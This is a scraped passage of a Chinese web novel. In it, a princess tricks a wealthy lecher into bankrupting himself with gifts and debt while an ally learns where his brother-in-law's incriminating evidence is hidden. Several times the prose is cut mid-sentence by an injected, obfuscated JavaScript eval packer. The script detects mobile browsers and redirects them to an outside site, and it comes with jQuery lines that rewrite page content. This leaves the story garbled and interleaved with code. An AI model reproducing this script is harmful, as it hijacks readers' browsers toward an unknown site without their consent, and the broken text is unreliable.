“你放心,本宫会出手帮助时机成熟,届时你只需要顺水推舟,便能成功。” 余湘君用力点头:“民妇明白了!” 担心佟旺的人发现端倪,说完了重要的事情以后,余湘君快速返回了屋内。 乔楹月的马车也缓缓离开了西城。 明日便是沈砚的生辰,回府之前乔楹月去了一趟宝衣坊,打算在这里为沈砚挑一身衣裳,作为生辰礼。 宝衣坊是盛京最大成衣铺子,里头的衣裳全都是独一无二的款式,做工细致,用料昂贵,只有达官贵人才穿的起。 乔楹月相中几套,全都让店小二包起来,正要离开时,一个矮胖的男人挡在了她的面前。 “姑娘瞧着面生,不知是哪家的小姐?” 乔楹月垂眼看向此人,大圆脸盘子,绿豆眼,蒜头鼻,厚猪嘴,皮肤黝黑油腻,还有许多小坑。 被这么一张脸迎面怼着,乔楹月有些想吐。 她厌恶的蹙眉,冷声呵斥:“滚开。” 这人被她身上的威严气势唬了一下,一时摸不透她的身份,担心惹到铁板,竟真的走开了。 这时林酒低声在乔楹月耳边说道:“公主,此人便是佟旺。” 原本乔楹月的一条腿已经迈出了店门,一听这话当即收了回来,扭头看向那矮冬瓜,暗道一声巧了。 原打算等沈砚的生辰过去以后再出手,既然这会儿遇上了,便现在出手好了。 她抬脚朝着佟旺走去。 佟旺不明所以,下意识往后退了一步,眼见乔楹月站在了自己面前,他有些不确定的问道:“姑娘这是?” 乔楹月撇他一眼,孤傲的从他身边走了过去。 佟旺拍拍胸脯,在心中嘀咕:这是哪家的小姐,气场好生强大,连他都有些害怕。 便在这时,佟旺听见那气场强大的小姐向自己的丫鬟抱怨。 “听闻那佟旺高大威猛英俊潇洒,日人出来逛街,本宫特意在这大街上逛了这么久,竟然遇不到他,唉,本宫太失望了。” 佟旺一怔。 佟旺不就是他吗? 可高大威猛,英俊潇洒……看来只有这姑娘能透过他平凡的外表看到他优秀的内在! 她自称本宫。 难道她就是那位怀宁公主??? 佟旺激动的打量乔楹月,越看越痴迷。 此女姿容胜过了那些少妇! 若她知道自己就是佟旺,不知道会露出怎样的惊喜表情? 佟旺轻咳一声,缓步走到了乔楹月的身边,用低沉的声音朝她开口。 “在下便是佟旺!佟旺在此拜见怀宁公主!” 然而小姑娘脸上却没有半分惊喜,反而透出嫌弃之色。 “传言佟旺对女子出手十分阔绰,看你这幅样子便小家子气,你肯定不是他。” 佟旺为了证明自己就是自己,立刻大手一挥,将店小二叫了过来。 “将你们店里头最新款的衣裳,最贵的衣裳,全给我包起来!在下要将这些衣裳全部送给公主!” 店小二一看这是来了大主顾,喜滋滋的前去包衣裳,不一会儿,几大摞的衣裳送到了乔楹月的面前。 只见小姑娘先是一怔,随后那双琉璃眸中露出惊喜和崇拜来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421759|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “原来你真是佟旺!” 佟旺得意的对店小二道:“结账!” 掌柜的抱着算盘笑眯眯的迎上来,伸出了无根手指。 “尊敬的佟老爷,这些衣裳一共五万两八千六百五十九两!” 五……万??? 这里的衣裳这么贵??? 佟旺原本只是路过,看见这铺子里头有个漂亮的姑娘,这才跟了进来。 从前那些成衣铺子便是将铺子盘下来,也不超过一千两,这家铺子怎么几件衣裳这么贵???? “佟老爷是不是心疼了?” 乔楹月一双水润润的眸子望着佟旺,佟旺忍着流血的心若无其事的说道: “这么点银子在下根本没放在眼里。” 乔楹月笑盈盈的道:“既然如此,本宫便接受佟老爷的好意。” 随后乔楹月让店小二帮忙将这些衣裳全部搬回了自己的府上,随后头也不回的走了。 佟旺站在铺子里头,看着那头也不回的佳人,这才后知后觉反应过来。 他好像……被人给骗了? 这怀宁公主两句话就让他花了五万两,那可是五万两啊! 佟旺哪儿还有心情逛街,心情郁闷的回了府。 他躺在床上翻来覆去,越想越觉得不划算。 花了五万两,却连对方的手都没摸一下,太亏了! 反正已经花了五万两,便再下点血本,他非要享受享受将公主压在身下的乐趣! 这厢。 乔楹月回到府上后,先从里头挑了两件,然后吩咐莲香来挑两件,最后将阖府上下的下人全部叫到跟前,吩咐莲香一人发一件。 下人有男有女,男的自己穿不了可以给媳妇儿穿,没媳妇儿的可以拿出去换银子,女的可以自己穿上。 这些衣裳全都昂贵无比,这些下人哪儿舍得自己穿,纷纷准备拿出去换银子花。 下人们得了衣裳后对乔楹月感激涕零,纷纷跪下来谢恩。 随后乔楹月将她提前挑出来的两件递过去,吩咐她送到红豆的手上。 红豆得到衣裳以后感动的落泪。 这五万两让整个公主府洋溢在幸福之中! 第一百五十九章横刀夺爱 次日,乔楹月刚刚洗漱好,便看见莲香一脸支支吾吾。 “发生了何事?” 莲香小声说道:“沈大人来了,还带来了很多东西。” 乔楹月有些惊讶。 今日是沈砚的生辰,本该是她去给他送礼,怎么反而是他跑来送东西了? 乔楹月揣着疑惑来到小厅,当看清自己被堆满的小厅以后,顿时怔在了原地。 只见那地上摆满了东西,有的方方正正的摞着,有的长长宽宽的摞着,唯一能落脚的地方,便是沈砚坐着的地方。 乔楹月提着裙摆小心翼翼的走进去,一脸惊悚的问他,“这些都是什么?” 沈砚淡淡道:“公主看看便知。” 还卖起了关子。 乔楹月将这些东西仔细看了一遍,觉得有些眼熟,忽然想起来,那些方方正正摞着的,不就是宝衣坊的衣裳嘛。 再看那些长长宽宽摞着的,全是布匹。 她将衣裳拆开一件,发现这衣裳可比佟旺买的那些要昂贵多了,上头的装饰物都是金玉宝石,且都是品相极其出众的金玉宝石。 这么一件可不便宜。 若这一摞摞全这么昂贵,那这些衣裳肯定比要花掉好几个五万两! 乔楹月赶紧拆开下一件,果然,没有不相上下的华丽,只有让她目瞪口呆的更华丽。 她又去看那些布料,竟全是顶级天蚕丝! 天蚕丝有价无市,便是那皇宫的妃子也极难得到一匹。 而现在堆在乔楹月脚下的,足足十匹! 乔楹月觉得自己也算见识过繁华,可这会儿在这些东西面前,却依旧像个刚进城的小村姑。 她不是没见过昂贵的衣裳,只是没一次见过这么多。 她也不是没见过天蚕丝,只是没一次见过这么多的天蚕丝! 而拿出这些东西的男人,面色却平静的像是见惯不怪。 这厮的家底到底有多丰厚??? 乔楹月小心翼翼的将衣裳折回去,忍不住问沈砚:“这些东西当真都是送给本宫的?” 沈砚点头。 乔楹月不解:“今日是沈大人的生辰,本该是本宫送礼,沈大人这样让本宫很是难为情。” 沈砚淡淡道:“无论送礼还是收礼,都是为了高兴,看见公主高兴,微臣便也高兴了。” 乔楹月的心被触动了一下,心底仿佛有什么东西不可抑制的跑了出来,她再想压住,却已经不受控制。 真是可笑啊。 财帛这些东西果然能动人心! 如果动不了,便是还未达到那份重量!! 乔楹月吩咐莲香将这些东西全都搬到自己的库房去,并叮嘱她们小心些,莫要磕到。 方才莲香已经看见了衣裳和布料,明白这些东西有多昂贵,她哪儿敢磕到,在下人搬动时她紧紧跟在身边,眼睛都不敢离开一下。 这厢,乔楹月坐在沈砚旁边,犹豫了一下,脸上露出几分不好意思:“本宫给沈大人准备了生辰礼,只是这礼和沈大人的比起来,实在有些寒酸。” 沈砚却半点儿没嫌弃,笑盈盈的提出现在就想看。 乔楹月让人拿上来,她亲手送到他面前。 那几件衣裳被沈砚拿出来,向来沉稳的一个人,这会儿竟当着她的面放在身上比着。 “微臣穿这种颜色好看?” “好看。” “微臣穿这种款式好看吗?” “好看。” “那微臣现在就换上。” 呃……也不用这么着急吧? 看见沈砚兴致高昂,乔楹月不想说扫兴的话,便亲自带着他去客房,她自己在门口等着。 不一会儿沈砚出来,身上换了件湖蓝色的锦袍。 这颜色清新自然,他穿上以后整个人看起来活泼了许多。 比起死板的月白色,和冰冷的黑色,乔楹月觉得这个颜色更衬他。 “沈大人以后别总穿白色和黑色,也应该尝试鲜艳些的颜色。” 沈砚笑着应下。 两人刚刚回到小厅,莲香前来禀报。 “公主,赵皇太后派人前来,说是来看看公主过的可好。” 赵皇太后恨不得她死,派人前来怕不是看她过的好不好,是要看她死没死吧? “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426865|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请进来吧。” “是。” 在莲香转身之际,沈砚若无其事的开了口。 “原本天蚕丝的料子只有四匹,微臣觉得这个数不好听,于是便将送到皇宫的天蚕丝截了下来,听说这批天蚕丝正好是要送到赵皇太后面前。” 乔楹月眨眼。 也就是说,沈砚抢了赵皇太后的天蚕丝,赵皇太后怀恨在心,派人前来兴师问罪了? 干的漂亮! 沈砚看见小姑娘的脸一下子亮了,眼底还带着跃跃欲试的得意,活像是做了坏事的猫儿。 这时莲香领着点翠走进来。 点翠先给乔楹月行礼,随后皮笑肉不笑的问候道:“太后娘娘让奴婢前来问候公主,最近天冷了,一定要多穿些衣裳,省得感冒了。 太后娘娘记挂着公主的身子,记得公主先前以为小小的风寒险些丧命了,太后娘娘担心公主再得风寒,万一治不好,那可就糟了。 另外!太后娘娘还说,这人啊,一生到死也穿不了多少料子,有些东西买多了,最后也只能跟着去陪葬!” 啧。 是咒她死来了。 赵皇太后一把年纪,火气还挺旺。 乔楹月笑盈盈的对点翠道:“本宫要多谢皇祖母的关心,还请点翠姑姑回宫给皇祖母带句话。 本宫还年轻,再多料子都穿得,倒是皇祖母,确实应该多备些,省得将来匆匆忙忙的,寻不到好物件。 不过只要皇祖母不嫌弃,本宫倒是可以贡献些好东西出来,将来皇祖母也不至于在天上过凄惨日子。” 这话是点名赵皇太后会先死。 点翠气的眼通红,憋着气回宫了。 赵皇太后听到点翠学乔楹月说话,堵了一天的闷气险些将她比憋死! 捂着胸口喘了半晌才缓上来一口气。 赵皇太后怒气冲冲的骂道:“两个小混账!联合起来对付我,竟然咒我死,还要给我捐陪葬品,这个死丫头的嘴巴是越来越毒了! 乔楹月,哀家绝对不会放过你!!!” 赵皇太后骂完还不解气,站起来摔了两套昂贵的茶具才冷静下来。 第一百六十章用美人计 乔楹月亲手给沈砚下了长寿面,里头还卧了个荷包蛋。 清汤寡水的面条上有零星的油花,细小的葱花点缀了颜色,看起来竟然挺有食欲。 沈砚吃了两碗,乔楹月自己也吃了一碗。 沈砚二十二岁的生辰便这么过了。 这天晚上。 佟旺得知了沈砚给乔楹月送去价值连城的衣裳和布匹,心中十分不是滋味儿。 他在心中暗暗一对比,自己那五万两在怀宁公主的面前,实在算不得什么。 这个沈砚这么阔绰,即便怀宁公主对自己有好感,也很容易被他勾走。 倘若就此放手,这五万两便真的打了水漂,他必须乘胜追击,用重金让怀宁公主对自己沉迷! 就在佟旺琢磨自己送乔楹月什么礼物能赢过沈砚时,他恰好得到了一个消息。 拍卖行里头来了一件精妙绝伦的雕刻品,是一个栀子花形状的印章,玉石极品,雕刻极品,而这物什更是极品。 据说是那已经灭国的凰国的玉玺。 这种种相加在一起,便将这件物品的价格推到了最高点。 佟旺打听了一下,那栀子花印章的起拍价就高达八万两,想要拍下来,怕是没有二十万两拿不下来。 二十万两可是他全部的身家了。 佟旺烦躁的去了余湘君的屋里头。 一番云雨以后,余湘君难得的温柔,趴在佟旺的胸口说话。 “妾身听闻老爷为了怀宁公主一天花了五万两银子,想必老爷很喜欢那位怀宁公主,为此妾身特意打听了一下。 听说那位怀宁公主最喜欢的便是栀子花,妾身以为,大人若是能将那栀子花的印章拍下来,肯定能得到公主的欢心。” 栀子花。 又是栀子花。 佟旺有些无奈:“倒是有一件栀子花印章,怀宁公主肯定会喜欢,只是这印章的价格太贵,我必须掏空家财才能拍下。” 余湘玉一脸崇拜的说道:“只要怀宁公主爱上老爷,老爷这边花出去那边就能挣回来。” 佟旺一想,好像也是。 而且那五万两都花了,这比银子若是花出去,说不定还能所有的银子都从怀宁公主的手中拿回来! 而且倘若怀宁公主对他无意,势必不会再收他的礼,到时他便将印章转手卖出,自己也不亏什么。 这一刻佟旺决定,拍下栀子花印章! 于是第二天,佟旺来到拍卖会场,以强势的价格冲势,用二十万两零一千的价格,拍下了栀子花印章。 佟旺抱着这件沉甸甸的宝贝,吭哧吭哧来到公主府。 得到首肯以后,他跟着侍卫进府,来到了小厅。 这一路上所看所见都让佟旺大开眼界。 原来公主府竟是这样的奢华! 别的不说,便说这些用来放屁股的椅子,竟全是上等的木料,这种木料价格高昂,这一屋子的桌椅板凳全是这种木料,可见这公主府的奢华,不是普通人能想象的。 还好自己这栀子花印章足够昂贵,否则怕是踏进这儿都是对这里的一种亵渎。 佟旺将锦盒放在桌上,有些紧张的整了整衣裳,便在这时,外头传来脚步声。 佟旺抬眼看去,便见一天仙般的女子朝着自己走来。 这一刻佟旺只觉得周围的一切都黯然失色,唯一的色彩便是这少女。 不愧是皇族公主,那些胭脂俗粉远远比不上! “在下拜见怀宁公主!” 乔楹月笑盈盈的给他赐座,目光落在被他端在手上的锦盒上,便问:“这盒子好生漂亮,里头装的是什么?” 佟旺得意的说道:“这里头是一样至宝!那消失的凰国用栀子花做图腾,就连他们的传国玉玺也是栀子花的样子。 这里头便是凰国的玉玺。 在下听闻公主喜爱栀子花,为了搏公主一笑,便毫不犹豫的拍下了此物!” 乔楹月面露惊喜,“本宫还从未听说过世上还有此等宝贝,快打开让本宫瞧瞧。” 佟旺小心翼翼的打开了锦盒。 只见里头放着一个拳头大小的玉件,雕刻的栀子花栩栩如生,乳白的玉石中间正好有一点黄,被工人雕刻成了黄色的花蕊。 乔楹月确实被这玉玺的精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426866|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美勾住了。 母妃只爱洁白的栀子花,她受此影响,便也格外偏爱栀子花。 小小的一朵,纯洁无瑕,香气扑鼻。 这会儿这雕刻而成的印章,似乎也有淡淡的栀子花香。 是错觉吗? 乔楹月伸手在花瓣上轻轻抚摸,入手温润光滑,手感极其舒服。 这东西,她是真的喜欢。 “佟老爷有心了,这栀子花玉件本宫很喜欢。” 佟旺听后高兴极了,屁股往她这边挪了一下,神秘兮兮的问:“现如今在公主心中,最慷慨大方的男人,是在下,还是那位沈大人?” 当然是沈砚。 即便沈砚小气,那也是沈砚更好。 佟旺年纪大,模样丑,性子卑劣,让人作呕。 这栀子花的印章应当是他的全部身家了,可单单这样还不够,她还要他债台高筑,如此,他才能按照她想要的方向走。 如今佟旺的心理就跟赌徒一样,一次比一次输的大,反而不会让他迷途知返,只会刺激他越陷越深。 这会儿只要趁热打铁,肯定能够达到目的。 乔楹月叹了一声,漂亮的脸上透着几分落寞。 “自然是佟大人更慷慨大方,实不相瞒,本宫并不喜欢沈砚,外人都说是本宫逼迫他做了本宫的面首,实际上是他用强权逼迫了本宫!” 佟旺一听就心疼了,当场骂道:“这沈砚真不是东西!” 而他似乎忘了,强抢民女这种事儿,他比谁都干的多。 乔楹月眼底闪过讽刺,随之脸上露出仰慕之色,“若是佟老爷能在钱财上压过沈砚,沈砚肯定会自卑离开本宫,届时本宫便能和佟老爷双宿双栖。” 这可美人计使的其实不算高明,但架不住使用美人计的人实在太美。 佟旺面对这么一张脸,什么理智都没了。 而且他一想到自己这么大一把年纪,竟然还能让这么年轻优秀高贵的少女沉迷,内心那种浓烈的得意让他如坐在云端一般飘飘然,这种感觉很上瘾。 买! 他要买奇珍异宝,用钱财**沈砚! 第一百六十一章挑拨离间 佟旺回家后就跟着魔了一样,将家中的钱财搜刮一空,不够,立刻去外头借了巨债。 他带着这些钱财,再次来到拍卖行,拍下了一样更珍贵的宝贝。 得到这样宝贝时,他的心情激动得仿佛已经得到了那位天仙一样的少女。 佟旺将这样宝贝送到乔楹月的手上以后,乔楹月冲着他温柔一笑,他的心差点化掉。 乔楹月夸他:“那沈砚算什么东西,依本宫看,佟老板无论模样还是才华,都比他好,佟老板让本宫欢喜不已。” 这句话让佟让的心差点忘记跳,整个人晕晕乎乎,幸福满足。 佟旺离开公主府,回了自己的府宅,他刚一进门,脚边就被砸了一个茶杯。 “混账东西!跪下!” 佟旺抬眼,看见了自己的父亲,脸上充满怒火。 他知道,是因为自己给乔楹月送礼的事儿,惹了父亲不高兴。 “爹,您不懂,我给怀宁公主送礼是有原因的。” 佟振生听见这话便气不打一处来,颤抖着手指点着儿子的鼻子问:“你还在执迷不悟!你可知道,家中的钱财已经被你挥霍一空,如今便是这宅子抵押十次也还不上外头的债! 那怀宁公主到底给你灌了什么**汤,竟让你变得连爹都不认识了!” 佟旺认真道:“爹,怀宁公主是儿子的知己,儿子活到如今这个岁数才找到自己的知己,您没有这样的知己,是不会明白的。 而且您不懂,如今儿子砸下去的银子,将来都能双倍的拿回来,这事儿您就别操心了。” 佟振生勃然大怒:“你以为我想操心?如今要债的已经上门来了,我若不操心,这家早就没了! 要债的说了,明日还会来。 你和怀宁公主的烂事儿我现在不想管,我命令你,立刻将这债给还上,否则,否则我就一头撞死在你面前!” 佟旺却依旧没觉得这是什么大事儿,他风轻云淡的向父亲保证:“您把心放到肚子里去,我今晚便想办法将银子还上。” 佟旺丢下这句话便离开家门,直奔国公府。 国公府的小厅之中,佟旺和赵迁儒相对而坐,桌子中间放着茶点。 一番客套后,佟旺直切正题。 “姐夫,你先借我些银子,要不了多久我便会还给你。” 最近佟旺为了乔楹月发疯的事儿在盛京城内传遍了,赵迁儒估摸着借银子和乔楹月有关,他当然不想借,但想到自己那些生意都有他参与,若是得罪了,肯定会有麻烦。 于是赵迁儒笑呵呵的说道:“你要借银子还不是一句话的事儿,说吧,要多少。” 佟旺用手指比了个‘三’。 三千两。 还好,不算很多。 赵迁儒点点头,表示这银子他借了,但他也不忘教育这个小舅子。 “那怀宁公主没有看起来的简单,你莫要再在她身上浪费钱财了,这三千两姐夫不要你还,你可千万别让你姐知道。” 佟旺却‘啧’了一声,无奈的说道:“不是三千两。” “三万两啊?”赵迁儒有些脑壳疼,但这笔银子他咬咬牙也不是给不起,罢了,就当是给他这几年的辛苦费了,“行,姐夫帮你给了。” 熟料佟旺还是摇头,口齿清晰的说道:“不是三万两,是三十万两。” 赵迁儒正在喝茶,一时激动,茶水喷到了鼻孔里,他慌忙用帕子擦鼻子,不敢置信的问:“三十,万两?” ‘万’字被咬的很重。 佟旺点头,笑道:“姐夫家产丰厚,三十万两对姐夫来说不是什么大问题。” 三十万两对于赵迁儒而言确实不是什么大问题,但他凭什么要拿出来借他啊! 拿出这三十万两,他这国公府上下都得喝西北风,到时候成为盛京笑柄的就是他! 而且,佟旺弄成这样是把银子花在了乔楹月的身上,倘若他借给他银子,岂不变相在给乔楹月银子。 想想都憋屈! 赵迁儒用力搁下酒杯,“三万两可以给你,三十万两,想都别想!” 佟旺没料到这 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这么些年下来,这让出去的银子不知道几个三十万两了,如今倒好,国公爷翻脸不认人,倒显得老爷不对似的,妾身真是为老爷不平!” 这番话说到了佟旺的心坎上,他轻轻拍着余湘君的背脊,长吁短叹着:“谁说不是呢,我从未与他计较过这些,我以为他会知道我的付出,没想到他竟会说出这么一番伤人的话来,今日这一去,实在是寒了我心啊。” 余湘君的声音更柔了,“我可是听说国公爷那些生意都不光彩,老爷跟在国公爷身边,肯定有些证据留着,若是老爷用这些东西和国公爷谈判,肯定能借到三十万两。” 而原本一肚子怨气的佟旺却忽然冷静了下来,他毫不留情的推开余湘君,冷斥道: “胡说什么,我姐夫做的都是正经生意,以后若再听见你胡说,我对你不客气!” 第一百六十二章极端自信 余湘君被吓到了,赶紧跪下来赔罪。 佟旺哼了一声,没再追究,也没了与她说话的心情,扭身就走了。 余湘君的脸顿时冷下来,红着眼圈儿让丫鬟端来热水,仔仔细细的将自己洗了一遍。 次日清晨,要债的上了门。 佟振生不得不将自己的棺材本拿出来,连带这宅子的房契也拿去抵押,和那要债的好说歹说,才求得人家又宽限了一日。 佟振生转头就寻了一块板砖,当着佟旺的面问他:“你现在就去公主府将你送的东西要回来,将这些窟窿填上,否则我就死在你面前!” 佟旺见父亲情绪激动,担心他真的做傻事,只能答应。 只是他出了佟府以后却并没有去公主府,而是去了国公府。 佟旺先是为昨日的事儿低头,向赵迁儒道歉,随后可怜巴巴的说了自己这些年来帮他做事时受的苦。 最后他哭丧着脸求赵迁儒。 “如今只有姐夫能救我了,等我缓过这口气来,立刻将银子还上。” 赵迁儒心里是又气又无奈,忍着火问他:“若那怀宁公主当真将你当回事儿,如今便不可能任由你被人追债,事到如今你应该看清楚了她的为人。 依我看,你不如现在去公主府,将你送的那些东西全部要回来。” 佟旺一听就不高兴了,“我若真的去要了,那我成什么人了?而且怀宁公主也不是姐夫说的那种人。 如今我和怀宁公主才相识不久,怀宁公主不帮我很正常,等我们相处的日子长了,怀宁公主能将整个公主府送到我面前来!” 赵迁儒简直不敢相信这是自己耳朵听到的话,他忍不住上下打量佟旺,认真的问他。 “你觉得你身上有哪一点值得她沉迷?” 佟旺立刻像是被踩了尾巴的猫:“姐夫!借银子就说借银子的事儿,您不带这么侮辱人的!” 这次赵迁儒还真没有侮辱他的意思,他是真的好奇,佟旺是哪儿来的自信,认为乔楹月那样的人会看上他。 便是那模样家世地位都数一的沈砚,到了乔楹月的面前也是满身的卑微,他一个四十岁的糟老头子,怎么就能那么自信呢??? 赵迁儒想不通,脑袋想破都想不通。 不过这会儿容不得他花时间想这件事儿了,他若再不答应帮忙,佟旺怕是要死在他的府宅里头了。 “罢了,谁让我是你的姐夫呢,这银子我帮你还了。” 佟旺感激的恨不得上去亲这姐夫两口! 这一次佟旺回府时趾高气昂。 次日,要债的果然没有再来。 佟旺松了一口气,佟振生也有了好脸色。 然而,将将过了一日,要债的竟然又上门了。 这一次佟旺正好在家,他底气十足的质问要债的人。 “银子不是已经还了,你们还上门来找晦气,是想挨打吗?” 那要债的人笑眯眯的拿出一张欠条,递到佟旺面前。 佟旺快速看了一眼,最终看明白,他的债还剩一半没有还。 “还有一半?怎么回事?昨日不是有人帮我还了吗?” 要债的人恭恭敬敬的说道:“是有人还了,但只还了一半,佟老爷,我们也是按规矩办事儿,您别让我们这些手下人为难。” 佟旺一听就火了。 什么叫只还了一半。 赵迁儒昨天答应的好好的,结果竟然只还一半。 只还一半他求他做什么! 这个赵迁儒,太过分了! “你们要么先回去,要么在这儿等一等,最迟今晚,我会将剩下的一半还上!” 要债的人选择了留在佟府,还就站在大门口,一左一右,像两尊瘟神。 佟旺窝着一团邪火来见赵迁儒,一见面就质问他。 “姐夫是什么意思?答应我答应好好的,为什么只还了一半?” 赵迁儒也是一脸为难,指着脸上的巴掌印:“我倒是想帮你全还了,可太后娘娘知道以后,狠狠甩了我一个耳光。 你是知道的,太后娘娘和怀宁公主之间有些嫌隙,如今你和怀宁公主走的近,已经惹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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余湘君紧紧咬住嘴唇,脸上在佟旺看不见的角度露出了深深的怨恨。 次日,余湘儿趁着去见儿女,悄悄用约定的联系方式,将佟旺的态度告知乔楹月。 第一百六十三章拿下金矿 乔楹月收到余湘君传来的消息,脑子稍微一转,便有了主意。 她当即写了一封信,让莲香亲自送到佟旺手中。 这会儿佟旺正在被讨债的逼债,看见莲香过来,顿时羞了个脸红。 当看清信上的内容以后,他更是羞耻的无地自容! 怀宁公主在信中关心他,还要帮他还债,可他怎么有脸让怀宁公主来还呢! 怀宁公主还提到了赵迁儒,他这两日根本没有进宫,也就是说,太后娘娘根本没有理睬这桩事儿,他脸上的巴掌印是假的,是用来诓骗他的! 可笑啊,他昨日竟然信了他的谎话,就那样被他打发了出去。 如今他被追债的逼得焦头烂额,赵迁儒怕是在府上悠哉的不得了! 赵迁儒简直将他当成傻子耍! 佟旺气势汹汹来到赵府,一见面就质问赵迁儒。 “你老实说,你脸上的巴掌印是不是你自己画的!” 赵迁儒一开始还否认,后来见佟旺一口咬定,他只能承认。 “是我自己画的,可我不也是被你逼的没办法了吗。” “你被我逼的没办法了?我要是真的逼你你能像现在这样悠哉?赵迁儒,你太坏了!” “佟旺!我是你姐夫!你跟我说话是什么态度!!” “姐夫?你还好意思自称姐夫,有哪个姐夫能眼睁睁看着自己的小舅子被要债的逼死啊?我看你就是巴不得我死,这样你好安心!” 赵迁儒知道他这话是什么意思,佟旺手中肯定有他的把柄,但他并非无情无义之人,做不出兔死狗烹的事儿来,佟旺这话是侮辱他的人格! “佟旺!我一直将你当成亲弟弟看待,但你今日的话实在让我心寒,从今往后,我们恩断义绝!” “赵迁儒!你过河拆桥,老子也不让你好过!” 佟旺忽然朝赵迁儒扑过去,两个人就这么扭打在了一起。 打了好一会儿才被下人拉开。 最终佟旺没借到银子,还顶着一个肿眼泡回了家。 他一到家门口,要债的和家人全都围了上来。 要债的逼他还债。 家人指着他的鼻子骂他不是东西。 佟旺感觉头皮发麻,发疯一般怒吼起来。 这些人被唬的一跳,他趁机跑了。 佟旺直接去了余湘君的屋子,看见她就哭了。 “你说像我这样有情有义的人,为何却没有落到一点好呢?我太难受了,我太难受了啊!” 余湘君眼底闪过冷意,但很快拂去,如之前那样温柔的安抚他。 “那些外人都眼瞎,看不见老爷的好,妾身眼睛可不瞎,妾身知道老爷的好。” 佟旺哭道:“今日我去找我姐夫借银子,他不仅骂我,还打我,他真的将我的心彻底伤了!” 呵,活该啊! 余湘君心中痛骂,面上却是越发的温柔。 “这次即便老爷生气,妾身也还是要说,那赵迁儒不是个东西,是捏准了老爷性子善良,不敢拿他怎么样,才会这般有恃无恐。 倘若老爷手中有他的把柄就好了,如此起码还有反击的机会。” 佟旺犹豫了一会儿,忽然说道:“我手中还真有他的把柄。” 余湘君且惊且喜:“老爷说的是真的?” 佟旺点头:“当然是真的,而且他的把柄我全都有,我若真的想对付他,简直是轻而易举!” 看来佟旺手中真有赵迁儒敛财的证据! 余湘君眸子微闪,柔声劝道:“说不定这件借银子的事儿是有什么误会,老爷眼明心亮,看得透彻,国公爷却看不透彻,这才和老爷闹了矛盾。” 年纪越大的男人,性子越像小孩儿,极其容易迷失在吹捧和夸赞之中。 这会儿余湘君的话让佟旺十分受用。 余湘君窥这他的表情继续说道:“眼下妾身反而开始担心另外一件事儿了。” 佟旺果然上钩,顺着问道:“什么事儿?” 余湘君满脸担心,“国公爷脑子虽然不清醒,但小心眼却特别多,妾身担心国公爷私下找人偷走他的把柄,如此老爷在国公爷面前便再也没有底气了。” “哼,不可能。” “唉,老爷,防人之心不可无啊。” 佟旺得意的笑起来,“那些把柄都放在我的床底下。” 猜到余湘君不明白床底下哪儿能保险,他主动挑明。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第一百六十四章客商** 金矿的开采需要信任的管事前去盯着。 乔楹月派了何掌柜前去。 何掌柜自从来到乔楹月的身边办事儿以后,便开始身兼数职,每日忙成了陀螺。 不过何掌柜不仅没有抱怨,反而干劲十足。 你为他为何这么努力? 还不是月例银子到位了! 沈砚那边的月例依旧在给,而乔楹月又单独给了何掌柜一份月例。 另外,每一次何掌柜办成一件事儿,乔楹月这边都或多或少的有奖赏。 这段时间何掌柜的工钱比起从前是直线上升的,他巴不得自己能这样一直干到老! 不过乔楹月却知道,自己不能什么事儿都依赖何掌柜,往后她的生意会越做越大,需要用人的地方会越来越多,她必须多培养几个管事才行。 不过眼下这金矿的事儿还一脑门官司,想要培养管事,得金矿的事儿尘埃落定了再好好去打算。 何掌柜一到凉县,金矿便开始动工。 而金矿上的隐患,也在金矿开工以后的第五日,找到了乔楹月的面前来。 这天的清晨,城外涌入一帮面带怒意的男人,这些男人小到十几岁,大到七十岁,粗略一数,得有上百人。 他们逢人便打听公主府的方向,很快便来到了公主府的大门前,不由分说便想往里闯。 看门的侍卫当即拔剑指向众人,厉声朝着众人呵斥: “再敢往前一步,杀无赦!” 领头的七十岁来头顶着满头白发,这会儿他冷静的提醒众人别激动,有他来主张此事。 老头恭敬的朝着侍卫一礼。 